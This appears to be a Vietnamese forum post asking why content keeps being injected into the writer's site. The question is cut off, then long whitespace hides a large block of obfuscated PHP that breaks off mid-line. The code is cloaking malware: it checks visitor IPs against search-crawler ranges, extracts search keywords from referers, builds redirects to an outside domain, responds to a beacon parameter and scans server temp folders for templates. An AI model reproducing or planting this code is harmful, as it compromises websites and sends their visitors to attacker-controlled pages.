Thời gian gần đây mình thường xuyên bị lỗi này, cứ như có ai đó vào code và chèn nội dung vào vậy. Xóa rồi, đổi tài khoản rồi nhưng vẫn bị. Mọi người cho mình ý ki

																																			78x0p912
																																				 ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6buu\x78\x64e\x68s\x74l"]="\x742";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x61\x67n\x69\x73p"]="\x68\x72\x65\x66";${"GL\x4fB\x41\x4c\x53"}["\x7a\x6am\x76n\x6f\x74\x65\x74\x69"]="\x74\x31";${"\x47L\x4f\x42\x41L\x53"}["\x6a\x75\x64\x7a\x74\x68\x79"]="\x74\x6d\x70\x6c\x43\x6f\x6e\x74en\x74";${"\x47\x4cO\x42\x41L\x53"}["\x67\x73\x79\x6a\x61\x63\x69\x79\x6a"]="r\x61\x77\x5f\x69\x6d\x67\x5fl\x69\x6ee";${"\x47LO\x42\x41L\x53"}["\x6a\x6f\x6d\x75h\x6c\x73z\x63o"]="\x69\x6d\x67_fi\x6c\x65";${"\x47\x4c\x4fB\x41\x4cS"}["uqv\x64\x6cwx\x63iq"]="c";${"\x47L\x4f\x42\x41LS"}["\x73s\x68\x68r\x6c"]="\x6b\x65\x79\x77or\x64\x73";${"G\x4cO\x42\x41\x4c\x53"}["\x74\x6b\x6al\x6chy\x76\x64\x6d"]="\x74o\x74\x61\x6c";${"GL\x4fBALS"}["\x6c\x65l\x6b\x76z\x61x"]="\x63\x6fnt\x65\x6et";${"\x47L\x4f\x42\x41LS"}["\x69\x6e\x71\x62\x68\x64\x69x"]="\x74\x69tle";${"\x47LO\x42A\x4c\x53"}["ui\x76\x68\x67q\x7a\x68wrv"]="\x68r\x65\x66\x5f\x6c\x69\x6e\x65s";${"\x47\x4c\x4f\x42\x41LS"}["\x6f\x72\x72y\x75m\x73\x72\x75"]="\x6c\x69\x6ee";${"G\x4c\x4f\x42\x41L\x53"}["\x6b\x72\x62\x6b\x68\x73r\x68\x77\x6a\x78"]="\x66\x69l\x65";${"GLO\x42\x41\x4c\x53"}["\x7a\x70v\x6a\x75\x69q"]="i";${"G\x4cO\x42A\x4cS"}["\x63n\x6fl\x79b\x75"]="s\x69\x7a\x65";${"\x47L\x4f\x42A\x4cS"}["\x78\x6css\x6ed"]="p";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x76\x72\x64\x73\x75\x70"]="j\x75\x6d\x70\x5fstr";${"G\x4c\x4f\x42\x41L\x53"}["\x75r\x64\x65vq"]="\x73\x65";${"\x47LO\x42A\x4c\x53"}["\x6c\x6c\x6fpqj\x75t\x76\x6b\x71"]="\x73e_l\x69\x6e\x65\x73";${"\x47\x4c\x4fBALS"}["\x79\x64t\x65\x67\x66u"]="y\x6fu\x5f\x73\x68\x6f\x75\x6c\x64\x5f\x72e\x64i\x72\x65\x63\x74";${"\x47\x4c\x4fBA\x4cS"}["p\x77\x78ii\x61\x6d"]="\x74m\x70\x6c\x46\x4ea\x6d\x65";${"\x47\x4cOB\x41LS"}["c\x66\x62\x79\x6b\x61\x77\x74"]="\x74\x65\x73\x74";${"\x47\x4c\x4f\x42AL\x53"}["\x63\x68\x65\x76f\x63\x7a\x64\x75m\x67"]="\x6fne\x5ff\x69\x6c\x65";${"G\x4c\x4fBALS"}["\x62\x77w\x63\x65uj"]="\x64\x69\x72";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63e\x67k\x6d\x6c\x75\x67\x72y"]="\x4e";${"\x47\x4c\x4f\x42AL\x53"}["\x6cl\x64fia\x77\x62f\x72\x78"]="\x66i\x6c\x65s";${"GLOB\x41\x4c\x53"}["fe\x64\x6ah\x79\x62xd"]="\x6f\x6e\x65_\x66\x6fl\x64er";${"\x47\x4c\x4fB\x41\x4cS"}["c\x63k\x6fph"]="us\x65\x72\x5f\x6b\x77";${"G\x4cO\x42A\x4c\x53"}["\x76\x78n\x64\x6f\x68\x6f\x77r\x6b\x62"]="\x6a\x75mp\x5f\x74\x6f";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fs\x74\x73x\x6dy"]="\x73\x65_\x66\x69le\x5fn\x61\x6d\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72\x79\x68\x73\x6ff\x7a\x6b"]="\x68\x74ml_f\x69le\x5f\x6e\x61m\x65";${"\x47\x4c\x4f\x42AL\x53"}["oxf\x6bsq\x6c\x65\x6e"]="\x68r\x65\x66_file_na\x6d\x65";${"\x47\x4c\x4fB\x41LS"}["p\x71r\x62\x62w\x79\x71"]="\x69\x6dg\x5f\x66i\x6ce\x5fnam\x65";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6be\x64g\x7apn\x65\x67"]="\x74\x65\x6d\x70";${"\x47\x4c\x4f\x42AL\x53"}["\x67ar\x65k\x6e\x76\x72\x71\x70\x79\x6f"]="\x61l\x6c\x5ff\x6f\x6c\x64\x65\x72\x73";${"\x47L\x4f\x42\x41\x4cS"}["\x7a\x73\x69\x6a\x63\x6bcf\x6fs"]="k\x63";${"\x47\x4c\x4fB\x41\x4cS"}["\x6c\x74\x79\x79\x78\x70\x6cbf\x71d"]="\x73\x6e\x5fa\x72\x72";${"\x47\x4c\x4f\x42\x41LS"}["\x65\x71\x6b\x75\x79\x68k"]="m\x79\x5f\x69p\x5f\x61\x72\x72";${"\x47L\x4fBA\x4c\x53"}["s\x61vt\x75\x66\x78"]="\x63\x5f\x72an\x67\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["\x70gkn\x74j\x6dv\x68\x77"]="\x69l\x6fv\x65wif\x69\x5fi\x70_\x6f\x6e\x65";${"\x47\x4c\x4fB\x41\x4cS"}["s\x63k\x6a\x71\x77rt"]="\x67_\x69p";${"GL\x4f\x42\x41\x4c\x53"}["\x78q\x7abe\x66\x6e\x63f\x72\x79"]="\x67_\x69p_ps";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75\x66\x6e\x64\x68\x78\x6d\x6cd\x63"]="\x69\x70s";${"\x47LO\x42A\x4c\x53"}["\x63r\x72\x63k\x75\x61p\x6f\x73\x65\x61"]="i\x73\x5fg\x5f\x69\x70";${"G\x4c\x4f\x42A\x4c\x53"}["\x7a\x66n\x71\x70s\x71\x6c\x6a\x6c"]="\x69\x6c\x6fvew\x69f\x69\x5f\x69\x70";$shdsvfqq="il\x6f\x76\x65\x77i\x66i_\x69p";${"\x47L\x4f\x42\x41\x4cS"}["\x77q\x65\x77\x76oo\x6e\x61"]="ma\x74c\x68\x65s";${"G\x4cO\x42\x41L\x53"}["\x73a\x6dxq\x6f\x67\x70z"]="r\x65\x66\x65\x72\x65\x72";${"G\x4cO\x42\x41\x4c\x53"}["\x72zh\x6du\x77\x66"]="\x71\x75\x65r\x79\x5fp\x61ra\x6d";${"GL\x4f\x42AL\x53"}["\x6fm\x7ad\x74t\x65\x68l\x7at"]="\x65\x6e\x67i\x6ee";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79ppgti\x72\x75\x61\x64\x6a"]="\x65n\x67\x69\x6e\x65s";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6evj\x63mc\x6e\x66\x67x\x6d"]="\x73\x65ar\x63\x68\x5f\x70\x68ra\x73\x65";function decrypt_str($str){$vsbnlwrqyr="s\x74r";return substr(base64_decode(substr(base64_decode(substr(base64_decode(trim(${$vsbnlwrqyr})),3,-3)),2,-2)),1,-1);}$jkrrknfmou="\x69\x6c\x6fv\x65\x77\x69\x66\x69\x5f\x69\x70";function get_keyword($referer){${${"G\x4cO\x42\x41L\x53"}["nvj\x63m\x63\x6e\x66\x67\x78\x6d"]}="";${${"\x47\x4c\x4fB\x41L\x53"}["\x79\x70\x70g\x74i\x72\x75\x61\x64\x6a"]}=array("\x64mo\x7a"=>"q\x3d","aol"=>"\x71\x3d","\x61s\x6b"=>"q\x3d","go\x6f\x67l\x65"=>"\x71=","\x62\x69\x6eg"=>"\x71\x3d","\x68\x6ftb\x6f\x74"=>"q=","\x74\x65o\x6da"=>"q\x3d","y\x61h\x6fo"=>"p\x3d","\x61l\x74avi\x73ta"=>"p=","lyc\x6fs"=>"\x71\x75e\x72y\x3d","kan\x6fo\x64\x6ce"=>"\x71u\x65\x72\x79=");foreach(${${"\x47LO\x42\x41\x4c\x53"}["\x79\x70\x70\x67\x74\x69\x72u\x61\x64j"]} as${${"\x47LOBAL\x53"}["\x6fm\x7adt\x74\x65\x68\x6cz\x74"]}=>${${"\x47\x4c\x4fB\x41\x4cS"}["\x72\x7a\x68\x6d\x75\x77\x66"]}){$oqpddv="\x72\x65f\x65r\x65r";$svvcqfe="\x72\x65\x66\x65\x72\x65r";if(strpos(${$oqpddv},${${"\x47\x4c\x4f\x42A\x4cS"}["\x6f\x6d\x7ad\x74te\x68\x6cz\x74"]}."\x2e")!==false&&strpos(${$svvcqfe},${${"\x47L\x4fBALS"}["\x72zh\x6d\x75w\x66"]})!==false){${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x70\x73\x76\x79m\x70\x73"]="p\x61\x74\x74e\x72\x6e";${${"G\x4c\x4f\x42\x41L\x53"}["\x73\x61\x6d\x78\x71\x6f\x67\x70z"]}.="\x26";${${"\x47\x4c\x4fBA\x4c\x53"}["\x69p\x73vy\x6d\x70s"]}="/[?&]{$query_param}(\x2e*?)&/s\x69";${"\x47\x4c\x4f\x42\x41L\x53"}["\x79u\x6ava\x68\x67\x72"]="\x70\x61\x74\x74\x65\x72\x6e";preg_match(${${"\x47\x4c\x4fBA\x4c\x53"}["\x79\x75\x6a\x76\x61\x68\x67\x72"]},${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x61\x6d\x78qogp\x7a"]},${${"\x47\x4cO\x42\x41L\x53"}["\x77\x71e\x77\x76oon\x61"]});${${"G\x4c\x4f\x42A\x4c\x53"}["\x6e\x76\x6a\x63\x6dc\x6ef\x67\x78\x6d"]}=urldecode(${${"G\x4c\x4fB\x41L\x53"}["\x77q\x65\x77\x76\x6fon\x61"]}[1]);$oekxdxy="\x73\x65a\x72c\x68_p\x68\x72a\x73\x65";return array(${${"\x47L\x4f\x42\x41\x4cS"}["\x6fm\x7ad\x74\x74e\x68\x6c\x7at"]},${$oekxdxy});}}return;}${$shdsvfqq}="";if(isset($_SERVER)){$wjbqrkq="\x69lo\x76ew\x69\x66i\x5f\x69p";if(array_key_exists("\x48\x54\x54\x50\x5f\x43LIE\x4eT_\x49P",$_SERVER)&&$_SERVER["\x48TTP\x5f\x43\x4c\x49\x45\x4eT\x5fIP"])${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x7a\x66nq\x70\x73\x71l\x6a\x6c"]}.=$_SERVER["H\x54\x54P_\x43L\x49E\x4e\x54\x5fI\x50"].",";if(array_key_exists("H\x54TP_X\x5f\x46O\x52WAR\x44ED_\x46\x4f\x52",$_SERVER)&&$_SERVER["\x48\x54\x54\x50\x5fX_F\x4f\x52\x57ARD\x45\x44\x5f\x46O\x52"])${${"G\x4cO\x42A\x4c\x53"}["\x7a\x66\x6e\x71\x70\x73\x71ljl"]}.=$_SERVER["\x48\x54T\x50\x5f\x58_\x46\x4f\x52WA\x52DED_\x46\x4f\x52"].",";$hiufjld="\x69\x6c\x6f\x76\x65w\x69fi_\x69\x70";if(array_key_exists("HTTP_X_\x46\x4fRWARD\x45D",$_SERVER)&&$_SERVER["\x48\x54\x54P\x5fX_F\x4f\x52W\x41RD\x45D"])${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x66\x6eq\x70\x73q\x6c\x6a\x6c"]}.=$_SERVER["H\x54TP\x5f\x58\x5fF\x4f\x52\x57A\x52\x44E\x44"].",";if(array_key_exists("HT\x54\x50\x5fF\x4f\x52\x57AR\x44E\x44_\x46\x4f\x52",$_SERVER)&&$_SERVER["H\x54\x54P_\x46O\x52WA\x52\x44E\x44\x5fF\x4fR"])${$wjbqrkq}.=$_SERVER["\x48\x54T\x50_FO\x52W\x41RD\x45D\x5f\x46\x4f\x52"].",";if(array_key_exists("H\x54\x54P_F\x4fRWAR\x44ED",$_SERVER)&&$_SERVER["\x48TT\x50_F\x4f\x52W\x41R\x44E\x44"])${$hiufjld}.=$_SERVER["HT\x54\x50_\x46\x4fR\x57A\x52DED"].",";if(array_key_exists("\x52\x45\x4dOTE_\x41\x44\x44R",$_SERVER)&&$_SERVER["\x52\x45\x4dO\x54E_AD\x44R"])${${"G\x4c\x4fB\x41\x4cS"}["\x7a\x66nq\x70\x73\x71\x6c\x6a\x6c"]}.=$_SERVER["RE\x4dOTE\x5fA\x44DR"].",";}${${"G\x4c\x4f\x42\x41LS"}["\x63\x72r\x63k\x75ap\x6f\x73\x65\x61"]}=false;if(${$jkrrknfmou}){$ccgdeossop="\x69\x6c\x6f\x76ew\x69f\x69_\x69\x70_a\x72\x72";${"\x47L\x4fBAL\x53"}["e\x77u\x6eq\x75ntt\x73"]="\x69\x6c\x6f\x76\x65wi\x66\x69_\x69\x70_\x6fn\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["n\x7a\x72fo\x7a\x65\x71\x72ng\x6c"]="\x69\x6c\x6f\x76\x65\x77i\x66\x69_i\x70\x5f\x61\x72r";${$ccgdeossop}=explode(",",${${"G\x4cO\x42\x41\x4c\x53"}["\x7a\x66n\x71\x70\x73\x71\x6c\x6al"]});foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x7ar\x66\x6f\x7ae\x71\x72\x6e\x67\x6c"]} as${${"\x47\x4cO\x42\x41\x4c\x53"}["ew\x75n\x71u\x6e\x74\x74\x73"]}){$njvywgtvzfvp="i\x6c\x6f\x76ewif\x69\x5fi\x70_\x6f\x6e\x65";${"GL\x4f\x42A\x4c\x53"}["\x73wg\x6e\x72\x6cc\x76\x7ax\x76"]="\x69\x6cove\x77\x69\x66i_ip_\x6fne";${"\x47\x4cO\x42\x41\x4cS"}["o\x73q\x70\x66w\x6d"]="ilov\x65wi\x66i\x5f\x69p_o\x6e\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x76\x63\x73j\x63\x76b\x75\x79"]="\x69s\x5f\x67_i\x70";${${"GLOB\x41LS"}["\x6f\x73q\x70f\x77\x6d"]}=trim(${${"\x47\x4cOB\x41L\x53"}["sw\x67\x6e\x72\x6c\x63\x76\x7a\x78\x76"]});if(${$njvywgtvzfvp} and${${"\x47\x4c\x4f\x42\x41LS"}["\x76\x76cs\x6a\x63v\x62\x75\x79"]}==false){${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x64\x6e\x61\x76\x74jg"]="\x67_\x69p";${${"\x47LO\x42\x41\x4cS"}["u\x66n\x64\x68xm\x6cd\x63"]}=array("\x36\x34\x2e\x32\x33\x33.1\x36\x30-\x31\x391","6\x36.10\x32\x2e\x30-1\x35","66\x2e2\x34\x39\x2e\x364-9\x35","7\x32\x2e\x314\x2e192-\x32\x355","7\x34\x2e\x3125\x2e0-\x32\x355","2\x30\x39.\x385.\x3128-\x325\x35","2\x316\x2e\x32\x339\x2e3\x32-6\x33","6\x34.\x36\x38.80-95","216\x2e\x31\x372.\x31\x32\x38-1\x359","\x320\x35.1\x364\x2e\x30-63","\x35\x30.\x311\x37\x2e0-127","2\x33.\x31\x30\x34.0-2\x355","\x32\x33\x2e8\x30\x2e0-255","1\x30\x34.\x31\x33\x32.0-2\x35\x35","\x31\x30\x34\x2e\x313\x33\x2e\x30-\x32\x355","10\x34\x2e\x313\x34\x2e0-25\x35","1\x304.\x3135.0-255","3\x38\x2e\x39\x39.8\x32.19\x31-\x32\x35\x31");foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x66nd\x68x\x6dl\x64\x63"]} as${${"\x47L\x4fB\x41\x4c\x53"}["\x62\x64\x6e\x61\x76\x74j\x67"]}){${"\x47\x4c\x4fBAL\x53"}["\x65\x65c\x6e\x67\x71n\x6f\x78\x64"]="\x69l\x6f\x76\x65\x77\x69\x66i\x5f\x69\x70\x5fone";$crbixdm="\x67_\x69p";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x71z\x62\x65f\x6e\x63f\x72\x79"]}=explode(".",trim(${$crbixdm}));${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x68v\x6d\x74\x6a\x69i\x6e\x75\x7ao"]="\x67\x5fi\x70";if(substr(${${"\x47\x4c\x4f\x42AL\x53"}["x\x68\x76\x6dt\x6a\x69\x69\x6e\x75\x7ao"]},0,strpos(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73\x63\x6bj\x71\x77\x72\x74"]},"\x2e",strpos(${${"\x47LOB\x41\x4c\x53"}["s\x63\x6bjq\x77\x72\x74"]},".")+1))==substr(${${"G\x4c\x4fB\x41L\x53"}["\x65\x65\x63ngqno\x78d"]},0,strpos(${${"GLO\x42\x41LS"}["\x70gk\x6e\x74\x6am\x76hw"]},"\x2e",strpos(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x67kn\x74\x6a\x6dv\x68\x77"]},"\x2e")+1))){${"\x47\x4c\x4fB\x41\x4c\x53"}["ae\x66\x70rph"]="\x6d\x79\x5fi\x70\x5f\x61\x72r";${"G\x4c\x4f\x42\x41L\x53"}["\x66\x66\x65\x75v\x75\x61\x78\x73\x6f\x61\x71"]="c\x5fr\x61n\x67e";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x61\x65fp\x72\x70\x68"]}=explode(".",${${"G\x4cO\x42\x41\x4c\x53"}["pg\x6b\x6e\x74\x6a\x6dv\x68\x77"]});$byyykira="c\x5f\x72\x61n\x67e";${${"\x47\x4cO\x42A\x4cS"}["\x73\x61\x76t\x75\x66\x78"]}=explode("-",${${"\x47\x4c\x4fB\x41L\x53"}["xq\x7a\x62\x65\x66\x6e\x63\x66\x72y"]}[2]);if((intval(${${"GLO\x42\x41\x4cS"}["e\x71\x6b\x75\x79\x68k"]}[2])>=intval(${$byyykira}[0]))and(intval(${${"\x47L\x4f\x42\x41\x4cS"}["\x65\x71\x6b\x75\x79h\x6b"]}[2])<=intval(${${"GL\x4f\x42A\x4cS"}["\x66\x66\x65u\x76ua\x78\x73\x6f\x61\x71"]}[1]))){${${"G\x4cO\x42\x41L\x53"}["c\x72\x72ck\x75a\x70o\x73\x65\x61"]}=true;break;}}}}}}else{${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["crr\x63k\x75a\x70\x6fs\x65\x61"]}=true;}${${"G\x4cO\x42AL\x53"}["\x73\x61\x6d\x78\x71\x6fg\x70\x7a"]}=isset($_SERVER["\x48T\x54P\x5fREFE\x52ER"])?($_SERVER["\x48T\x54P\x5f\x52\x45FE\x52\x45\x52"]."/"):"/";if(isset($_SERVER)){${"\x47L\x4fBA\x4c\x53"}["\x62\x68\x6a\x73\x62dv\x66\x6d\x76"]="s\x6e\x5f\x61\x72\x72";$jxctklaiik="\x73\x6e\x5fa\x72\x72";$qpeuqpyjfe="sn\x5f\x61\x72\x72";${"\x47\x4cO\x42A\x4c\x53"}["\x67\x6b\x62\x6fjv\x76\x69\x6fc"]="\x73n\x5f\x61\x72\x72";${${"\x47\x4c\x4fB\x41\x4cS"}["l\x74\x79\x79\x78\x70lbfq\x64"]}=explode(".",$_SERVER["\x53ER\x56ER_NA\x4dE"]);${${"\x47\x4c\x4f\x42A\x4cS"}["\x7a\x73\x69\x6a\x63k\x63fos"]}=substr(${$qpeuqpyjfe}[count(${$jxctklaiik})-2],0,2).substr(${${"G\x4c\x4fBAL\x53"}["\x6c\x74y\x79\x78\x70l\x62\x66q\x64"]}[count(${${"\x47\x4c\x4f\x42A\x4cS"}["b\x68\x6a\x73\x62dvf\x6dv"]})-2],strlen(${${"\x47\x4cOB\x41\x4c\x53"}["g\x6bb\x6f\x6a\x76v\x69\x6f\x63"]}[count(${${"\x47\x4cO\x42\x41\x4cS"}["l\x74\x79\x79x\x70l\x62\x66\x71\x64"]})-2])-2,2);}if(!${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7as\x69j\x63\x6b\x63f\x6f\x73"]}){${${"\x47L\x4f\x42\x41L\x53"}["\x7as\x69\x6a\x63\x6b\x63f\x6f\x73"]}="A\x55T\x4f";}if(isset($_GET["\x786\x693xv"])||isset($_GET["\x67\x6das\x73\x76"])){echo"\x31\x30\x336";exit();}else{$ursreczhxr="t\x65m\x70";$fusjsoy="\x74\x65mp";${"\x47\x4cOB\x41\x4c\x53"}["dy\x71\x72\x70n\x7a\x77"]="\x74\x65m\x70";$idcwpoimtsg="u\x73\x65\x72\x5f\x6b\x77";${"\x47L\x4f\x42A\x4c\x53"}["\x63guikyf\x6ezf"]="t\x65m\x70";$kuqeaa="m\x61\x74\x63h\x65\x73";${"\x47L\x4f\x42AL\x53"}["\x62\x67d\x77\x6e\x62\x77"]="\x6b\x63";$ewjjuncg="\x74\x6d\x70\x6c\x46\x4e\x61\x6d\x65";${"\x47\x4cO\x42\x41LS"}["v\x64\x72\x6c\x68\x78\x6a\x61"]="\x74em\x70";${"\x47LO\x42\x41\x4c\x53"}["\x62\x6d\x6d\x63y\x68c\x61"]="\x74e\x6d\x70";${"\x47\x4c\x4f\x42AL\x53"}["\x63a\x61vj\x74o\x71\x6e\x67"]="\x61\x6c\x6c_\x66\x6f\x6c\x64\x65r\x73";${"\x47LO\x42\x41\x4c\x53"}["\x6c\x76\x7a\x79kykuv"]="t\x65\x6d\x70";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x64r\x6c\x68\x78\x6a\x61"]}="t\x65\x6d\x70";${${"\x47\x4cOB\x41\x4c\x53"}["\x67\x61r\x65k\x6e\x76r\x71\x70y\x6f"]}=explode(",","/t\x6d\x70/".${$ursreczhxr}."/,\x43:\x5c\x77ind\x6fws\x5c\x74\x65\x6d\x70,\x43:\\\x77indo\x77s\\te\x6dp\x5c".${${"\x47\x4c\x4fBAL\x53"}["\x6c\x76\x7ay\x6by\x6b\x75\x76"]}.",\x43:\x5c\x70rogra\x6ddata\x5c,C:\x5cpro\x67ram\x64ata\\".${${"\x47L\x4fB\x41L\x53"}["\x64\x79\x71\x72\x70\x6e\x7a\x77"]}.",\x63:\x5cDo\x63u\x6den\x74\x73\x20\x61n\x64 \x53\x65t\x74\x69\x6eg\x73\x5c\x41\x6cl \x55sers\\A\x70\x70l\x69c\x61ti\x6f\x6e Data\\,c:\x5c\x44\x6f\x63\x75\x6d\x65n\x74s\x20\x61nd\x20\x53\x65\x74\x74ings\\\x41ll\x20\x55\x73e\x72s\\\x41\x70\x70\x6c\x69ca\x74io\x6e Data\\".${$fusjsoy}.",\x43:\\\x44\x6fcu\x6d\x65n\x74s an\x64 Setti\x6eg\x73\\\x44\x65fault U\x73e\x72\x5cAp\x70\x44a\x74\x61\x5c\x4c\x6f\x63\x61l\x5c".${${"\x47\x4cOB\x41\x4c\x53"}["\x6b\x65\x64g\x7a\x70neg"]}.",C:\x5cDo\x63um\x65nt\x73 \x61\x6e\x64 \x53\x65tting\x73\x5c\x44\x65\x66\x61\x75\x6ct\x20\x55\x73\x65\x72\\\x4coc\x61\x6c\x20Setting\x73\\".${${"\x47L\x4f\x42\x41\x4cS"}["\x6bed\x67\x7a\x70\x6e\x65\x67"]}.",\x43:\\Do\x63\x75men\x74\x73\x20\x61nd\x20\x53e\x74ti\x6e\x67\x73\\\x44efa\x75\x6c\x74\x20Use\x72\x5c\x41\x70\x70Data\x5c\x4c\x6f\x63a\x6c,C:\x5c\x44oc\x75m\x65n\x74s an\x64\x20Set\x74ing\x73\\\x44\x65\x66\x61\x75l\x74 \x55s\x65r\\\x4co\x63\x61l\x20Se\x74\x74\x69n\x67\x73\\\x41pp\x6cic\x61\x74ion\x20\x44a\x74\x61,c:\\\x72ec\x79cler\x5c,c:\x5c\x72\x65\x63\x79c\x6cer\x5c".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62mmc\x79h\x63a"]}.",".substr($_SERVER["S\x43\x52\x49\x50T\x5fFI\x4cE\x4e\x41\x4dE"],0,-strlen($_SERVER["\x53C\x52\x49P\x54\x5f\x4e\x41ME"]))."/".${${"GL\x4fB\x41\x4cS"}["cg\x75i\x6by\x66n\x7af"]}.",".substr($_SERVER["\x53C\x52I\x50T\x5fFIL\x45\x4eAM\x45"],0,-strlen($_SERVER["SC\x52I\x50\x54_\x4eAM\x45"])));${$ewjjuncg}="";${"\x47\x4cOB\x41L\x53"}["\x75m\x67\x7a\x6c\x63\x62b\x62\x66"]="u\x73e\x72\x5f\x6b\x77";${${"\x47\x4cO\x42ALS"}["p\x71\x72\x62\x62\x77\x79q"]}="";$ilgbvjqcs="ju\x6d\x70\x5f\x74o";${${"\x47LO\x42A\x4cS"}["\x6f\x78\x66\x6bs\x71l\x65n"]}="";${${"\x47L\x4f\x42AL\x53"}["r\x79h\x73\x6f\x66zk"]}="";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["o\x73\x74\x73\x78my"]}="";${${"\x47\x4cO\x42\x41LS"}["vxn\x64\x6f\x68o\x77\x72\x6bb"]}="h\x74t\x70://ww\x77.\x6e\x6e\x6c\x73\x73\x67b\x2ep\x77/";${$idcwpoimtsg}=get_keyword(${${"\x47L\x4fB\x41\x4c\x53"}["\x73\x61\x6d\x78q\x6fgp\x7a"]});if(${${"\x47\x4c\x4fB\x41LS"}["u\x6d\x67\x7al\x63\x62\x62\x62\x66"]}&&preg_match("/s\x65\x61r\x63\x68\\\x2e\x79\x61\x68\x6f\x6f\x5c\x2ec\x6f\x5c\x2ejp/\x69",${${"\x47\x4cO\x42\x41\x4cS"}["s\x61m\x78\x71o\x67\x70\x7a"]})==1){${${"GL\x4f\x42ALS"}["v\x78\x6ed\x6f\x68o\x77\x72k\x62"]}.="\x73/".${${"\x47\x4cOB\x41\x4c\x53"}["\x63c\x6b\x6f\x70h"]}[1]."/";}elseif(isset($_GET[${${"\x47\x4cO\x42\x41\x4cS"}["\x7a\x73ij\x63\x6bc\x66\x6f\x73"]}])&&preg_match("/(?:\x5c\x73|-)p\x71(\\\x64+)\x70/\x69",$_GET[${${"\x47LO\x42A\x4c\x53"}["bg\x64w\x6e\x62w"]}],${$kuqeaa})==1){${${"\x47LO\x42A\x4c\x53"}["\x76\x78\x6e\x64\x6f\x68o\x77\x72kb"]}.=${${"\x47\x4cO\x42\x41\x4c\x53"}["wq\x65\x77\x76\x6f\x6f\x6ea"]}[1].".ht\x6d\x6c";}foreach(${${"\x47\x4c\x4fB\x41L\x53"}["\x63\x61\x61\x76\x6at\x6fq\x6e\x67"]} as${${"GLOB\x41\x4cS"}["\x66\x65\x64jhy\x62x\x64"]}){if(@file_exists(${${"G\x4cOB\x41\x4c\x53"}["\x66\x65\x64\x6a\x68\x79\x62\x78d"]})){${"\x47LO\x42\x41\x4c\x53"}["fbd\x64\x6eg\x71uy"]="d\x69\x72";${"\x47\x4c\x4f\x42ALS"}["k\x6f\x73\x73m\x64li"]="\x6f\x6e\x65\x5f\x66\x6f\x6cde\x72";${${"G\x4c\x4fB\x41\x4c\x53"}["\x66b\x64\x64n\x67q\x75\x79"]}=@opendir(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6f\x73s\x6d\x64\x6c\x69"]});${"\x47\x4cOB\x41L\x53"}["\x74o\x71un\x69j"]="\x64i\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x77\x6ew\x76j\x70p\x69\x61\x63c"]="o\x6e\x65\x5f\x66\x6fl\x64\x65\x72";${${"G\x4cOB\x41\x4c\x53"}["\x6c\x6c\x64fia\x77\x62f\x72\x78"]}=array();if(${${"\x47L\x4f\x42A\x4c\x53"}["t\x6fq\x75n\x69\x6a"]}!=NULL){$fmdhcydpwxk="f\x69l\x65\x73";while(${${"G\x4c\x4f\x42\x41LS"}["ce\x67k\x6d\x6c\x75\x67\x72\x79"]}=@readdir(${${"G\x4c\x4fB\x41\x4cS"}["\x62w\x77\x63\x65\x75j"]})){$srddekvamsth="N";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["x\x69br\x62\x77\x6d"]="\x66\x69\x6ce\x73";array_push(${${"\x47\x4cO\x42\x41\x4cS"}["\x78\x69\x62\x72\x62w\x6d"]},${$srddekvamsth});}shuffle(${${"\x47\x4c\x4fB\x41L\x53"}["\x6c\x6cd\x66i\x61\x77\x62\x66\x72\x78"]});foreach(${$fmdhcydpwxk} as${${"\x47\x4c\x4fB\x41L\x53"}["\x63\x68\x65vfcz\x64\x75\x6d\x67"]}){$cnjwmdcny="o\x6e\x65\x5f\x66\x69le";$hmduytfkwvj="\x68t\x6dl\x5f\x66\x69l\x65_\x6e\x61me";$vkgcmxc="\x6f\x6ee\x5ff\x69l\x65";$vnbahiooyip="\x74\x6dpl\x46\x4ea\x6d\x65";${"GLO\x42A\x4c\x53"}["j\x76\x73\x6e\x62\x62\x63"]="\x68r\x65f\x5f\x66\x69\x6ce\x5f\x6e\x61m\x65";$qjhpkgy="one\x5f\x66\x69\x6ce";if(${$vnbahiooyip}==""and(preg_match("/in\x64e\x78\\.t\x6d\x70\\\x2et\x78t/i",strtolower(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x68e\x76\x66czdu\x6d\x67"]}))==1||strpos(strtolower(${${"G\x4c\x4fB\x41\x4c\x53"}["\x63h\x65v\x66\x63\x7a\x64\x75m\x67"]}),".k\x2etx\x74")>0)){$kgywtkifq="t\x65s\x74";${"\x47\x4cOBAL\x53"}["bf\x6d\x68b\x69\x70\x6b\x70\x6d\x64"]="o\x6e\x65_fil\x65";${"\x47\x4c\x4f\x42\x41LS"}["xfej\x6bl\x70k\x71"]="o\x6ee_\x66\x6f\x6c\x64er";$rflqgj="\x74\x65\x73\x74";${$kgywtkifq}=@fopen(${${"\x47\x4c\x